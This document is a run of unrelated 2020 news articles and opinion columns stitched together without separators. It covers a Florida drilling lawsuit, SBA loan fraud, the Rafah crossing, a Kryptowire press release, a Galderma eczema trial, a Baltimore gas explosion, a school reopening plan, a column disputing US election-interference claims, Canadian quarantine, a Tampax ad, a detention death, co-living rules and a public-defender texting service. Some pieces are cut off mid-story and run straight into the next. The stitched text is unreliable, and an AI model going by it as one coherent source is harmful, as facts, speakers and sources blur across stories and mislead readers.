Hicks said his foreman rushed to the job site as soon as he got a call from Rivera about the pipe spewing water. The foreman told Hicks two men who work for Fort Lauderdale showed up, but left after deciding the pipe wasnt theirs. Oakland Park showed up, said for sure its not theirs, Hicks said in his deposition. They left. And (the foreman) was calling the city of Fort Lauderdale to come back because they had already been there and had left, saying it wasnt theirs also. Then about an hour or so after that, two hours later the city of Fort Lauderdale came back to the property and said, `Hold on, wait a minute, maybe this is ours. Then they set about trying to find the control valves to shut off the water, Hicks said. FPL knew the location of the water pipe but never warned contractors to look for it, the lawsuit alleges. In the meantime, FPL has filed cross claims against the subcontractors, arguing it was not responsible for mistakes they might have made. Our response is FPL was negligent because they never went to the site, Moskowitz said. And because directional drilling is an inherently dangerous activity, FPL is liable for all of their subcontractors. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Florida In finding U.S. disaster loan fraudsters, YouTube, Instagram are just the start: watchdog A screen displays the Instagram logo during a presentation in New York By Chris Prentice and Koh Gui Qing WASHINGTON (Reuters) - For small business owners or others searching for advice on applying for a U.S. government disaster loan, there's plenty to be found on social media. But that's just the beginning of potentially fraudulent activity the Small Business Administration's top watchdog is keen to root out. The inspector general at the SBA, the agency tasked with doling out hundreds of billions of dollars in loans and grants to small businesses amid the coronavirus pandemic, is working with the agency to prevent people from taking advantage of loopholes, Hannibal "Mike" Ware told Reuters, acknowledging it is easy to find numerous examples of people online explaining how to get a loan. U.S. prosecutors, in conjunction with Ware's office and other authorities, have already pursued charges against people looking to take advantage of the agency's Paycheck Protection Program and the Economic Injury Disaster Loan Program across the country, including in Florida, Texas, Georgia and Rhode Island. "There's far more nefarious actors than what you see on Instagram or YouTube, much more sophisticated and much more complex. And we knew this going into our planning process, before the first loan was issued," Ware said. Last month, Ware's office flagged signs of widespread potential fraud in the U.S. disaster loan program, saying investigators received complaints of more than 5,000 instances of suspected fraud. That number has grown since the report was issued, Ware said, though he declined to provide more specific figures. "Ever since we issued that (alert), we've gotten even more calls. We continued to hear from financial institutions," Ware said. As U.S. leaders sought to mitigate the pandemic's economic impact earlier this year, they tasked the SBA with running some of the biggest and most high-profile programs. The agency's internal watchdog has six ongoing reviews related to the more than $2 trillion coronavirus stimulus, or Coronavirus Aid, Relief and Economic Security Act, agreed by lawmakers in late March. "This is an environment where there will be a lot of money moving faster than controls," Ware said. "Weve never seen this type of volume this quickly, so it required an all-hands-on-deck approach." (Reporting by Chris Prentice; editing by Jonathan Oatis) Two-way traffic through the Rafah crossing into the coastal enclave will be allowed for three days through Thursday, the Palestinian embassy in Cairo had said Egypt reopened on Tuesday its border crossing with the Gaza Strip in both directions for the first time since the coronavirus pandemic began, allowing Palestinian to leave the Israeli-besieged strip and those stranded abroad to return home. Two-way traffic through the Rafah crossing into the coastal enclave will be allowed for three days through Thursday, the Palestinian embassy in Cairo had said. Gaza residents holding Egyptian passports, foreign passports and patients seeking emergency medical care abroad will be allowed to leave the crossing, the Hamas-run interior ministry in Gaza said. All returnees will be put into mandatory 21-day quarantine and will have their luggage and possessions impounded for three days as part of precautionary measures against the virus, the ministry said. Authorities has prepared isolation facilities to accommodate the returnees. Rafah was shut in March as part of efforts by the Hamas-run authorities to rein in the spread of the coronavirus in the densely-populated enclave. The passenger crossing was opened in mid-April for three days - but only in one direction - for Palestinians stranded outside Gaza to return home. Dozens of police officers dressed in personal protective equipment as well as medical staff waited at the border crossing in the southern enclave early Tuesday. Gaza has reported 81 cases of the coronavirus, including only one death so far. The Rafah border crossing is the main gateway to the outside world for around 2 million Palestinians living in the Gaza Strip, and is the only crossing point not controlled by Israel. Egypt has occasionally opened Rafah to allow the passage of students and medical patients, as well as those with foreign passports. Also on Tuesday, Israel closed its only commercial crossing with Gaza after Palestinians launched fire-starting balloons into Israel. Search Keywords: Short link: Kryptowire welcomed Alex Lisle as Chief Technology Officer in charge of directing Kryptowire's technology strategy. Alex will be instrumental as Kryptowire continues to expand its operations and develop new technologies. Kryptowire, a company that provides mobile application security analysis tools, mobile app marketplace security analytics, and Enterprise Mobility Management (EMM) solutions, welcomes Alex Lisle as the Chief Technology Officer. Alex was previously the Chief Software Architect at AlienVault and brings over 20 years of experience to Kryptowire. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005091/en/ Alexander Lisle, CTO, Kryptowire (Photo: Business Wire) "Kryptowire has grown tremendously with great talent working with us and we saw Alex would be a great addition to our organization. Given his extensive background in cyber security and overseeing and developing AlienVault's flagship product, we knew he would be great as Kryptowire's CTO to further innovate our state-of-the-art mobile security platform," said Dr. Angelos Stavrou, CEO and founder of Kryptowire Alex received a Bachelor of Science in Artificial Intelligence from Durham University in 2005. Previously he designed, developed and oversaw AlienVault's flagship product USM Anywhere, a SaaS-based data collection, security analysis and threat detection platform. Alex also holds several patents in graph-based correlation systems, large scale, multi-tenant data platforms and security feature analytics. Alex will be further advancing Kryptowire's security platform. He will help Kryptowire realize its long-term technological vision and introduce new Kryptowire products to the market. "By hiring Alex asour Chief Technology Officer, Kryptowire will gain new perspective and new practices that will help us revolutionize our security platform," saidStavrou. About Kryptowire Kryptowire was founded to solve a critical business problem: how to allow enterprise workers to take full advantage of mobile computing without putting themselves and their company at risk. The number of mobile apps being used by enterprises is continuously rising, making it almost impossible for companies with large workforces to manually test every mobile app on every device for compliance with government and industry security and privacy standards and regulations. That's where Kryptowire comes in. Kryptowire automatically detects security vulnerabilities in mobile apps and IoT devices before it's too late. Kryptowire was jump started by the Defense Advanced Research Projects Agency (DARPA) and the Department of Homeland Security (DHS S&T). We provide automated software assurance and compliance testing (OWASP, NIAP, GDPR, HIPAA) technologies to private and public sector organizations. Schedule a demo to discover how Kryptowire can help you secure your mobile devices. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005091/en/ Contacts: Media Contact: Tom Karygiannis VP Product tom@kryptowire.com +1-202-531-6420 www.kryptowire.com @kryptowire NEW YORK, Aug. 11, 2020 /PRNewswire/ -- Galderma have announced the start of patient recruitment for the ARCADIA studies (NCT03985943, NCT03989349, NCT03989206), a clinical research program to evaluate an investigational drug in people who have been diagnosed with moderate-to-severe atopic dermatitis (also known as AD or eczema). AD is a chronic itchy inflammatory skin disease estimated to occur in 10% to 20% of the population, and up to 25% of children. AD can have a serious impact on a person's quality of life, and for many adolescents and adults living with moderate-to-severe AD, medications that are currently available may not fully control their symptoms. School can often represent a particular challenge for affected children and adolescents where they may sometimes feel different, self-conscious or anxious about fitting in. The ARCADIA study is still recruiting and, as minds begin to turn to the start of a new school term, anyone who has been living with moderate-to-severe AD, or knows someone who has, are encouraged to visit the study website: www.ArcadiaStudy.com to learn more about the ARCADIA studies and to find out more about eligibility. While the exact cause of AD is still not fully understood, researchers do know that there are multiple factors involving complex interactions between our genes, immunological factors, infections and environmental factors. It is characterised by an allergic response driven by a subset of immune cells called Type 2 helper T cells. IL-31, a cytokine released by these T cells is thought to play a role in AD skin inflammation, itch and barrier impairment. There are a number of topical and systemic treatments available for those living with moderate-to-severe AD, however their long-term use can either cause unwanted side-effects or their safety in long-term use has not been established. Dr. Jonathan Silverberg, MD, PhD, MPH. said: "It is crucial that we continue to research new treatment options for moderate-to-severe atopic dermatitis. We are pleased to support the roll-out of the Arcadia study, as the results have the potential to provide an effective alternative treatment option for those who are living with the significant burden caused by this condition." The ARCADIA program, sponsored by Galderma, comprises 2 identical Phase 3 studies evaluating the efficacy and safety of nemolizumab compared to placebo in the treatment of AD, which is not adequately controlled with topical treatments. In addition, there is a 104-week long-term extension safety study. Phase 2 study results for the use of nemolizumab in the treatment of AD and associated itching showed clinical benefits and provided further evidence that IL-31 may be an important factor in AD. Up to 1500 people in approximately 300 study centers across Europe, North America and the Asia Pacific are expected to take part in this study. About Nemolizumab Nemolizumab, a first-in-class humanized monoclonal antibody, is directed against the IL-31R alpha, which blocks signalling from IL-31. Nemolizumab, initially developed by Chugai Pharmaceutical Co., Ltd., was subsequently licensed to Galderma in 2016. Nemolizumab is an investigational agent under clinical development and its safety and efficacy have not been fully evaluated by any regulatory authority. About the ARCADIA Studies ARCADIA 1 & 2 are identical Phase 3 randomized, double-blind, placebo-controlled studies to assess the efficacy and safety of nemolizumab (CD14152) in subjects with moderate-to-severe atopic dermatitis. The primary objective of the ARCADIA studies is to evaluate the efficacy and safety of the nemolizumab compared to placebo after 16 weeks of treatment in both adult and adolescents (aged 12 to 17) with AD, which is not adequately controlled by topical treatments. The studies will also be evaluating the efficacy and safety of maintenance treatment with nemolizumab for up to an additional 32 weeks. ARCADIA LTE is a 104-week open-label safety extension study. SOURCE Galderma ARCADIA clinical studies Related Links http://www.ArcadiaStudy.com BALTIMORE - A day after an enormous explosion shook Northwest Baltimore, a second person was found dead among remnants of destroyed homes, marking the conclusion of the rescue operation and amplifying pressure on investigators to determine the cause of the disaster. Baltimore Gas and Electric, the local utility company, indicated that piping inside of one of the three homes leveled may have caused the fatal blast but stressed that the investigation is still underway. "The data is indicative of some type of issue beyond the BGE meter on customer-owned equipment and is currently being analyzed by investigators," the company said in a statement Tuesday afternoon. As authorities sifted through caution tape and shattered glass Tuesday, neighborhood residents struggled to face all they had lost: a month's worth of rent stashed in a mattress, pictures of grandchildren, a cane, a safe place to sleep - and for some - family and friends. The identities of those who died, a woman and a man, had not been made public as of Tuesday evening. Five people remained in the hospital in critical condition, and the status of two other injured victims remains unknown. Blair Adams, a spokeswoman for the Baltimore City Fire Department, said the second victim, a man, was discovered around 1 a.m. Tuesday. The fire department announced the first fatality Monday. Adams said crews were working to clean up the scene along Labyrinth and Reisterstown roads, but there are no reports of anyone still missing. For those who survived, their futures remain riddled with uncertainty. Officials have said about 200 families were affected by the explosion and at least 30 families were seeking assistance from the Red Cross and other agencies. No one will be allowed to return to homes in the area except to gather belongings until the buildings are deemed structurally safe and power can be restored, officials said. "It's like ground zero," said Margaret Glover, 74, staring down her broken street. 3 1 of 3 Washington Post photo by Bill O'Leary Show More Show Less 2 of 3 Washington Post photo by Bill O'Leary Show More Show Less 3 of 3 Glover had sustained such serious damage to her home that she has been effectively displaced until the active investigation ceases and her house is repaired. The Red Cross and the city provided hotel rooms for victims on Monday night and was to do so again on Tuesday, according to American Red Cross Regional Disaster Program Officer Paul Carden. But Glover elected to spend Monday night with family over concerns about contracting the coronavirus at her age if she slept in a more public place. She returned to the edge of her street Tuesday morning, hoping to get inside for the first time since they fled the hazardous scene. Glover wondered if her food had spoiled or whether her blown-out windows had been boarded up. "This is an experience," Glover said, sitting next to her husband, who had left his cane inside the damaged house. "I think for me, it's worse than covid-19." With a looming sense that she would be displaced for far longer than she once thought, Glover left the neighborhood to try to come up with a better plan. The streets surrounding the explosion site were much quieter than the previous day. Yards where neighbors crowded together anxiously Monday were empty. The windows blown out by the blast had been covered with plywood and tarps. Activity centered around BGE employees dressed in highlighter yellow, who canvassed the area, investigation underway. In a statement Tuesday, BGE said it had reviewed records and found no leaks reported from the four affected properties, including three that were destroyed and one that was severely damaged, within the past five years. The most recent inspections of gas mains in that area were in June and July 2019, the utility said. In another statement the same evening, the company said it found no leaks after inspecting the gas main and service pipelines. The company said it will begin restoring service and relighting gas appliances for 34 homes that had service suspended after Monday's explosion. The company also said the gas infrastructure in the area where the explosion happened was installed in the early 1960s, adding that it had given investigators the gas and utility history for the four homes involved in the blast. Leon Phillips, 64, said he had smelled natural gas coming from his air vents Monday as he was leaving his home in the 4200 block of Labyrinth Road about 6 a.m., headed to work as a delivery driver. He returned three hours later to find his house obliterated and his best friend, who had been sleeping down the hall when he left for work, missing. He later learned his friend was at a hospital in intensive care. On Tuesday, Antoinetta Parrish, 43, sat with Dean Jones, 36, and Neshe Bond, 27, on a porch toward the end of Labyrinth Road. The three did not know each other yesterday morning when, from their separate homes in the neighborhood, they rushed to the scene of the blast and started to dig. Jones, who first showed up in his socks before running home to retrieve shoes, said he smelled gas and warned the others of the live wires from the downed telephone pole. Parrish, who was doing her taxes when the homes exploded, frantically knocked on neighbors' doors to warn them of danger. Bond, using a cane after a recent car accident, reached the top of a pile of rubble, where she heard a woman yelling, "Help me! I'm here!" Eventually they pulled enough rocks away to reveal a woman's arm. "Ma'am, we're coming to get you," Bond remembers saying. As she looked out across the destroyed homes, she said, she saw another arm shoot up beneath a large section of collapsed roof. She directed the others, including police and eventually firefighters, toward that area. Monday was a daze, the three said. They spent Tuesday rehashing what they had seen, vowing to share the more disturbing details only with each other. "It still doesn't feel real, honestly," Jones said. "It was traumatizing," Bond said. "I'm really surprised as many people survived as they did." - - - The Washington Post's Michael E. Miller contributed to this report. The Bismarck School District released its reopening plan for the 2020-21 school year at the end of last week with two options for parents and students to choose from: face-to-face or virtual learning. All students will automatically be enrolled in face-to-face instruction. Families wishing to register in online instruction must fill out the application and return it by Friday. No late registrations will be accepted. The first day of school is Aug. 24. Bismarck School District is committed to providing a high-quality education for all students while prioritizing the health of our enter school community, the introduction to the plan states. We recognize the need for families to have options so they may determine the best learning environment for their student(s). Superintendent Jason King said the school district has taken into account the guidelines and recommendations of state and local officials while making the plan. They want to educate the students as best they can while also keeping students and staff safe. He said they are also prepared to change the plan if needed. The plan has four tiers of operation. At this time, the district will begin the year in Tier 2, which is COVID protocols in place as outlined in this plan, as well as online option for students. Tier 1 is normal school operations without COVID protocols. Tier 3 is blended learning with red/white days, which incorporates face-to-face and virtual learning. Tier 4 is school closure with virtual learning in place for all students. Please understand a tier could be skipped based on current conditions and safety recommendations, the plan says. According to the plan, possible school closure trigger points are: student absenteeism, when it is not economically prudent to the keep the school open; staff absenteeism, when the number of staff available to supervise and instruct students drop below what is necessary to maintain a safe learning environment; confirmed cases of COVID-19; and to protect the public health and safety as advised by local, state, or federal officials. Virtual Option The plan says that all students are expected to attend in-person classes, unless a medical condition of the student or a family member makes it not possible. If online learning is chosen, the student must remain in the virtual program the whole semester. And students who dont attend face-to-face classes are not allowed to participate in extracurricular activities. Online learning will follow the same academic calendar. For grades 6-12, if an original course request is not offered in an online setting, the school counselor will work with the student to select an alternate course. Face-to-Face Option In-person classes will be taught in the traditional format, but students will also begin using an online platform intermittently throughout the day to become accustomed to the format if a school closure in necessary. Face coverings are strongly recommended for students and staff. If preferred, staff can bring their own or one will be provided. All food service workers will be required to wear masks in the serving area. Social distancing will be regularly encouraged, according to the plan, but they cannot guarantee social distancing will take place in classrooms and common spaces. Students and staff are not encouraged to congregate in public spaces like restrooms, break rooms/kitchens, or hallways. The Districts goal is to minimize contact through establishing consistent grouping, the plans say. Students will have interactions with the same group of students each day to the best of our ability. Large gatherings, such as all-school assemblies and school-wide celebrations, will not occur. For physical education, classes will engage in outdoor activities as much as possible. No visitors will be allowed in the building without prior approval to begin the year. Students and staff may be asked screening questions each day prior to arrival at school, but the collection method is still being developed. At this time, it is not planned to temperature check students and staff each day up entrance to the school, the plan says. If a student visits the nurse, temperature checks and additional screening may be implemented as needed. The plan also includes more screening and safety procedures, cleaning procedures, information on student transportation, as well as what will happen if there is a suspected case of COVID-19. In addition to the plan, the district has also released answers to frequently asked questions. Registration New student registration started on Aug. 3 by appointment only. To make an appointment, please reach out to Mrs. Melanie Wright at (573) 734-6111 option 3, or by email at mwright@bismarckr5.org. Returning student registration for junior/senior high students will be from 9 a.m. to 2 p.m. on Friday at the high school. School Supplies A school supply list can be found on the districts Facebook page. The district was able to use some title funding to buy basic school supplies for students in Pre-K to fifth grade, including paper, pencils, colored pencils, erasers, crayons, markers, dry erase markers, scissors, and glue. Please note that parents will need to purchase other school necessities, but it is the district's hope that this will lessen the burden on Bismarck R-5 families as it relates to basic school supplies. Nikki Overfelt is a reporter for the Daily Journal. She can be reached at noverfelt@dailyjournalonline.com. Concerned about COVID-19? Sign up now to get the most recent coronavirus headlines and other important local and national news sent to your email inbox daily. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. No Evidence Of Foreign Interference In U.S. Elections, U.S. Intelligence Says By Moon Of Alabama August 10, 2020 " Information Clearing House " -Yesterday the mislabeled U.S. 'Intelligence' Agencies trotted out more nonsense claims about foreign interferences in U.S. elections. The New York Times sensationally headlines: Russia Continues Interfering in Election to Try to Help Trump, U.S. Intelligence Says But a new assessment says China would prefer to see the president defeated, though it is not clear Beijing is doing much to meddle in the 2020 campaign to help Joseph R. Biden Jr. But when one reads the piece itself one finds no fact that would support the 'Russia Continues Interfering' statement: Russia is using a range of techniques to denigrate Joseph R. Biden Jr., American intelligence officials said Friday in their first public assessment that Moscow continues to try to interfere in the 2020 campaign to help President Trump. At the same time, the officials said China preferred that Mr. Trump be defeated in November and was weighing whether to take more aggressive action in the election. But officials briefed on the intelligence said that Russia was the far graver, and more immediate, threat. While China seeks to gain influence in American politics, its leaders have not yet decided to wade directly into the presidential contest, however much they may dislike Mr. Trump, the officials said. The assessment, included in a statement released by William R. Evanina, the director of the National Counterintelligence and Security Center, suggested the intelligence community was treading carefully, reflecting the political heat generated by previous findings. The authors emphasize the scaremongering hearsay from "officials briefed on the intelligence" - i.e. Democratic congress members - about Russia but have nothing to back it up. No Advertising - No Government Grants - This Is Independent Media Get Our Free Newsletter When one reads the statement by Evanina one finds nothing in it about Russian attempts to interfere in the U.S. elections. Here is the only 'evidence' that is noted: For example, pro-Russia Ukrainian parliamentarian Andriy Derkach is spreading claims about corruption including through publicizing leaked phone calls to undermine former Vice President Bidens candidacy and the Democratic Party. Some Kremlin-linked actors are also seeking to boost President Trumps candidacy on social media and Russian television. After a request from Rudy Giuliani, President Trumps personal attorney, an opportunistic Ukrainian parliamentarian published Ukrainian evidence of Biden's very real interference in the Ukraine. Also: Some guest of a Russian TV show had an opinion. How is either of those two items 'evidence' of Russian interference in U.S. elections? The statement then claims: Ahead of the 2020 U.S. elections, foreign states will continue to use covert and overt influence measures in their attempts to sway U.S. voters preferences and perspectives, shift U.S. policies, increase discord in the United States, and undermine the American peoples confidence in our democratic process. But how do the 'intelligence' agencies know that foreign states want to "sway preferences", "increase discord" or "undermine confidence" in elections? As a recent piece in Foreign Affairs noted: The mainstream view in the U.S. media and government holds that the Kremlin is waging a long-haul campaign to undermine and destabilize American democracy. Putin wants to see the United States burn, and contentious elections offer a ready-made opportunity to fan the flames. But ascribing motive and intent is a tricky business, because perceived impact is often mistaken for true intent. [...] Where is the evidence that Russia actually wants to bring down the liberal world order and watch the United States burn? Well there is none. And that is why the 'intelligence' agencies do not present any evidence. Even the NYT writers have to admit that there is nothing there: The release on Friday was short on specifics, ... and Intelligence agencies focus their work on the intentions of foreign governments, and steer clear of assessing if those efforts have had an effect on American voters. How do 'intelligence' agencies know Russian, Chinese or Iranian 'intentions'. Is there a secret policy paper by the Russian government that says it should "increase discord" in the United States? Is there some Chinese think tank report which says that undermining U.S. people's confidence in their democratic process would be good for China? If the 'intelligence' people have copies of those papers why not publish them? Let me guess. The 'intelligence' agencies have nothing, zero, nada. They are just making wild-ass guesses about 'intentions' of perceived enemies to impress the people who sign off their budget. Nowadays that seems to be their main purpose. - " Source " - The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Post your comment below See also US Intelligence: If Trump Wins Russia Did It, If Biden Wins It Was China And Iran : Mass media throughout the western world are uncritically passing along a press release from the US intelligence community, The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Have you ever received a phone call from the Government of Canada before 10 a.m. on a Sunday morning? Im telling you, it wakes you up faster than a strong cup of coffee. Two days earlier, I had returned from a week in Oswego, N.Y., where my 85-year-old mother lives. She has Alzheimers disease, and I was taking care of her for a week while her regular caregiver enjoyed a much-needed vacation. But now I was back in Canada, I was in quarantine for two weeks, and the Canadian government wasnt fooling around. At first I thought about not answering the call at all, in case it was a fraud. But the screen said Government of Canada, so I picked it up. And after that I had no doubt it was for real. The woman on the other end knew exactly who I was. She had a few questions. Had I stayed in my home since returning? Had I had any visitors? What was my plan to get necessary items like groceries while I was confined? How did I plan to get fresh air while I was in quarantine? Had I stopped anywhere on the drive home? To that last question, I answered that I hadnt needed to stop for gas, food or a bathroom break but I had pulled into a gas station, turned off the vehicle, and texted my Canadian family that I had crossed the border safely and would soon be home. However, I had stayed in my vehicle the whole time. She didnt like that answer much. But it was already done. She also told me that if I was in my front yard I had to go inside when the person who delivers the mail comes by. Stepping two metres away would not be sufficient. By the time the call was over, I felt the heavy hand of the Canadian government as never before. The next day, that feeling was intensified when I received two emails, one from the provincial medical officer of health and one from the Government of Canada, also reminding me that I was in quarantine. It even crossed my mind that the government might have asked my neighbours to keep an eye on me. Perhaps there were security cameras on the street, keeping track of me. There had been a foreshadowing of this at the border crossing, which in both directions had been so empty, it had felt like a ghost town. Coming into the United States a week earlier had been no problem. I was born in New York City and have kept my American citizenship. The border to the United States is closed, of course, but not to its own citizens. The guard asked more questions about my car, which came from a car-sharing organization that I belong to, than he did about where I was going and how I was feeling. But on the way back to Canada, it was a different story. I drove home on Friday, through Buffalo and across the Peace Bridge to Fort Erie. Its a trip Ive made countless times before. The border is usually so busy, it takes at least half an hour to get across. But this time I was at the booth in just two minutes. The Canadian border official asked not only what I was bringing into Canada with me, but also wanted my address, my email and my phone number. He wanted to know what my plan was for the next two weeks of quarantine, when I wouldnt be able to go outside my home except to seek medical help. He wanted to know if I had enough gas in the tank to make it home without stopping to refuel. Then he handed me two photocopied sheets of paper. One had a printed statement, which he made me read aloud, acknowledging that I must self-isolate for the next 14 days. The statement also told me I was under a quarantine order, and could be fined up to $1 million or jailed up to three years under the Quarantine Act if I didnt comply. The other paper gave specific instructions about what I can and cant do, with a website where I had to register and report symptoms, plus some public health resources. RELATED STORIES Waterloo Region https://www.therecord.com/news/waterloo-region/2020/08/11/denied-entry-at-the-us-border-domestic-work-and-child-care-is-not-essential.html It was definitely a grimmer welcome than usual. The United States as a whole definitely has a COVID-19 problem, and I wholeheartedly agree with the quarantine rule. But its also a huge and diverse country. The part of New York state where I had been staying is actually much safer from the disease than Waterloo Region is. Oswego County, which consists of the small Lake Ontario town of Oswego surrounded by farms and forests, has a population of 117,000 and has only experienced four COVID-19 deaths. By contrast, Waterloo Region, more than five times larger with about 618,000 residents, has experienced 119 deaths. I pointed out this interesting fact to the woman from the government who called me on Sunday morning. But she wasnt up for a discussion about it. The next time she calls and Im sure she will Ill just answer her questions. It took until Day 11 of the period drama for it to turn out the Tampax ad ban wasn't the fault of the patriarchy after all. In fact, 83pc of the complaints that got the ad pulled were from women, which came as no surprise to me. Most every woman I know thinks it's awful - because it is. Not that it's shocking, or embarrassing, or because it "dares" to talk about menstruation. Who cares? The pretence that we're persecuted for periods in 2020 smacks of martyr complex. It's because the Tampax and Tea ad is degrading, patronising, crass and vacuous. It cheapens women and pretends to be empowering. It literally suggests many women are so stupid that they can't insert a tampon. It's hackneyed, empty-headed girliness: it does women no favours. The pathetic attempts at double-entendres - "Get it up there, girls! Not just the tip, up to the grip!" - are puerile and not actually funny. And no: getting the obvious innuendo is not a case of men "sexualising" women's bodies - but perhaps it's ad executives commodifying them. Good riddance to the most annoying ad on television. Saves me the bother of having to switch over every time it comes on. Why is no-one saying this, even though the gender ratio of complaints to the Advertising Standards Authority for Ireland (ASAI) prove it was women themselves who were miffed? Could it be because the consensus in Ireland has decreed: you must love the Tampax ad, or else you're a body-shaming woman-hater? Failing that, you are suffering from internalised misogyny. And if you don't think it's sexist, then you're sexist. We're all supposed to cheer for Procter & Gamble, supposed sponsors of the modern-day Seneca Falls Convention, the first women's rights event. You should be embarrassed at your lack of sisterhood if you thought the ad was tacky. You must realise you're a prude if you felt uncomfortable. If you found it repulsive, you must be full of shame. I don't feel remotely grossed out about it myself. But I'm not going to judge another woman if they do. That's not sisterhood. The basis of the majority-female complaints was how it was offensive to women and condescending. If some women think that, we should listen - not shout them down. It's an alternative - and valid - feminist perspective. I'm against all censorship, so I don't support the removal of the ad. Yet the loudest voices criticising the ASAI ban are the same ones who cheer petitions calling for Prime Time to pull transgender debates, or call for exclusion zones around hospitals. You can't set up a culture of censorship and then sneer when it's not always from liberals. I'm a freedom feminist: joyfully indecorous and without any hang-ups about sex or sexuality. I'm not a Victorian maiden, so I don't feel shame about female functions. I don't need to tell you stories about my uterine lining to illustrate this. I'm with Germaine Greer in The Female Eunuch when she challenged women to taste their own blood if they thought they were emancipated, saying: "If it makes you sick, you've a long way to go, baby!" I thought Donita Sparks' tampon-throw at the Reading music festival in 1992 was one of the best moments of rock history. YouTube it: not to spare you the details - to see it in all its glory. But as someone who has pride and respect for female fertility, I found the ad slyly demeaning to my sex. I won't apologise for that, or pretend otherwise, in fear of the girls' brigade. To deliberately misconstrue this as "something from old Catholic Ireland" is disingenuous. Remember, this is the country that gave the world the sheela-na-gig. Feminism is complex, and a broad church. There isn't a Little Red Book we all read from. Just because a murmuration of middle-class media feminists tell you something is great, doesn't mean it is. I'm not going to make a global corporation the good guy, while painting Ireland as backward, to prove I'm a female warrior. I'm not going to bleat on about how our vaginas are sexualised and how the removal of a dumb ad is somehow proof of society's need to shame and control women's bodies. I'm not about to jump to the conclusion that it's evidence of how men are disgusted by women's monthly blood, without first at least waiting to find out who the actual complainants were. Incidentally, that's a fiction up there with pregnancy being a turn-off: any red-blooded man finds their pregnant partner sexy as all hell. Maybe there's a way we can castigate them for that too. The whole conversation has veered into the stupidest stereotypes of women: self-absorbed, over-analytical, attention- seeking and obsessed with what men think of us. The truth might be harder to accept: nobody cares. Period. The family of 46-year-old Daniel Harvey, who died in unexplained circumstances at a Melbourne immigration detention centre this week, say they are highly offended acting Immigration Minister Alan Tudge sought to question his character hours after he died. Mr Harvey was found dead in his room in a protective unit at Melbourne Immigration Transit Accommodation [MITA] about 8.30am on Monday. Daniel Harvey, right, in happier times with his sisters Alana and Rae, and mother Pamela. He had been detained at MITA for more than four years, having fought long-running efforts to deport him to New Zealand, where he was born. Mr Harvey had lived in Australia since he was eight years old, but his extensive criminal history and two-year sentence for sexual offences against a minor resulted in his visa being revoked. Former housing minister Eoghan Murphy changed planning laws in 2018 to allow for the controversial living arrangement, which sees tenants share kitchen and living facilities while renting a small private bedroom. Sinn Fein says their bill will outlaw co-living and lower standards in build to rent accommodation, with the partys housing spokesperson Eoin O'Broin saying that current legislation allows for unacceptable living conditions. The idea that anybody thinks its a good idea to rent out living spaces, and that would have a bed, a kitchenette and a toilet in the equivalent space of a car park for 1,300 a month just, I think isnt living in the real world. The current co-living regulations allow for living spaces of 12 square metres, that is the average size of a car parking space, and the current price range for what weve been told is going to come on the market later this year is 1,300, he said. Advertisement The idea that anybody thinks its a good idea to rent out living spaces, and that would have a bed, a kitchenette and a toilet in the equivalent space of a car park for 1,300 a month just, I think isnt living in the real world. SFs @EOBroin has launched a new bill to ban co-living, which he says the Minister can do with the stroke of a pen. Says he knows of 10 applications so far for co-living developments which sees rooms the size of disabled parking spaces rented for 1300. #iestaff pic.twitter.com/PvaRq1GvdU aoife moore. (@aoifegracemoore) August 11, 2020 He said the proposed legislation would also remove lower design standards for build to rent apartments. Government policy rightly wants people to move into apartment living, thats necessary both in terms of density and land use and meeting our climate change obligations, he said. But the idea that renters should have lower standards than owner occupier apartment dwellers simply makes no sense. Why you should be able to have more apartments per lift shaft, why there should be less storage space, why there should be less car parking, should be more studio apartments in build to rent rather than in build to buy apartments. The Oppositions bill also proposed to remove the ability of a single minister to change planning law without a vote and the involvement of local authorities and the Oireachtas. The bill would amend the current Planning and Development Act 2000 by deleting the section referring to co-living and repeal the Build to Rent and Sharing Accommodation planning rules. The Dallas County Public Defenders Office and Uptrust, the social justice communication platform, have announced a new partnership to employ Uptrusts innovative, two-way communication technology. "Allowing clients to message with their attorney before their hearing will allow for fewer incarcerations in the short and long-term," said Lynn Pride Richardson, Dallas County Public Defender. The Dallas County Public Defenders Office and Uptrust, the social justice communication platform, have announced a new partnership to employ Uptrusts innovative, two-way communication technology which will reduce the number of Failure to Appear (FTA) incidents, arrest warrants, and technical violations in the county. The impact of implementing the unique platform is lower jail populations and a savings of millions of taxpayer dollars. In addition, the platform allows Dallas-area Police to focus efforts on crime prevention as opposed to aggressively seeking out those who have failed to appear in court, which results in a safe environment for both police and citizens. On any given night, too many people are being kept in Dallas County Jail for non-criminal acts like technical probation violations, missed court dates or non-violent minor offenses and simply cannot afford to post a monetary bail even though they have not been convicted of a crime," said Lynn Pride Richardson, Dallas County Public Defender. "Allowing clients to message with their attorney before their hearing will allow for fewer incarcerations in the short and long-term." The Uptrust platform reinvents the court reminder system by sending personalized text messages to each public defender client from their assigned public defender. The messages act as reminders related to the clients court hearing dates and other important legal appointments. Uptrusts trademarked, communication platform also helps remind clients of meetings with their attorney, and to take time off work in anticipation of their court date. In the coming months, Uptrust will roll-out features in Dallas that allow attorneys and social-workers to refer their clients to local social services such as housing and employment assistance. Ensuring public defender clients are well-informed and connected to relevant social services will eliminate thousands of nights in jail per year and generate significant cost savings. The Dallas County public defenders office handles about 30,000 cases per year, which is approximately 50 percent of cases where a person qualifies for court appointed counsel. The new reminder program begins as the COVID-19 quarantine and social distancing measures continue to take effect. Due to the COVID-19 pandemic, many criminal court cases have been administratively adjourned due to the courts being closed. Many individuals with pending cases may not have any knowledge as to when their case will next be heard in court. Uptrust and the Dallas County Public Defender Office seeks to notify all of their clients of their next court appearance as well as the safety precautions that have been put into place. To date, Uptrusts messaging system has reduced Failure to Appear occurrences by more than 50 percent, with 30 percent of users texting back to their attorney, continuing the correspondence. The platform provides a communication and reminder tool similar to many modern dentist or doctor appointment applications tailored to the needs of low-income defendants. Dallas County is Uptrusts second partnership in Texas, with two more set to launch in the next month. Uptrust is currently working with over 150 public defender offices in 26 states across and the US Territory of Guam. Local governments spend more than $9 billion on unnecessary pretrial incarceration, and an additional $1 billion issuing and enforcing bench warrants when individuals are not present for their court appearance. Beyond the expense, enforcing warrants takes valuable time away from the police that could be spent on crime prevention. It also has the potential of being dangerous work, 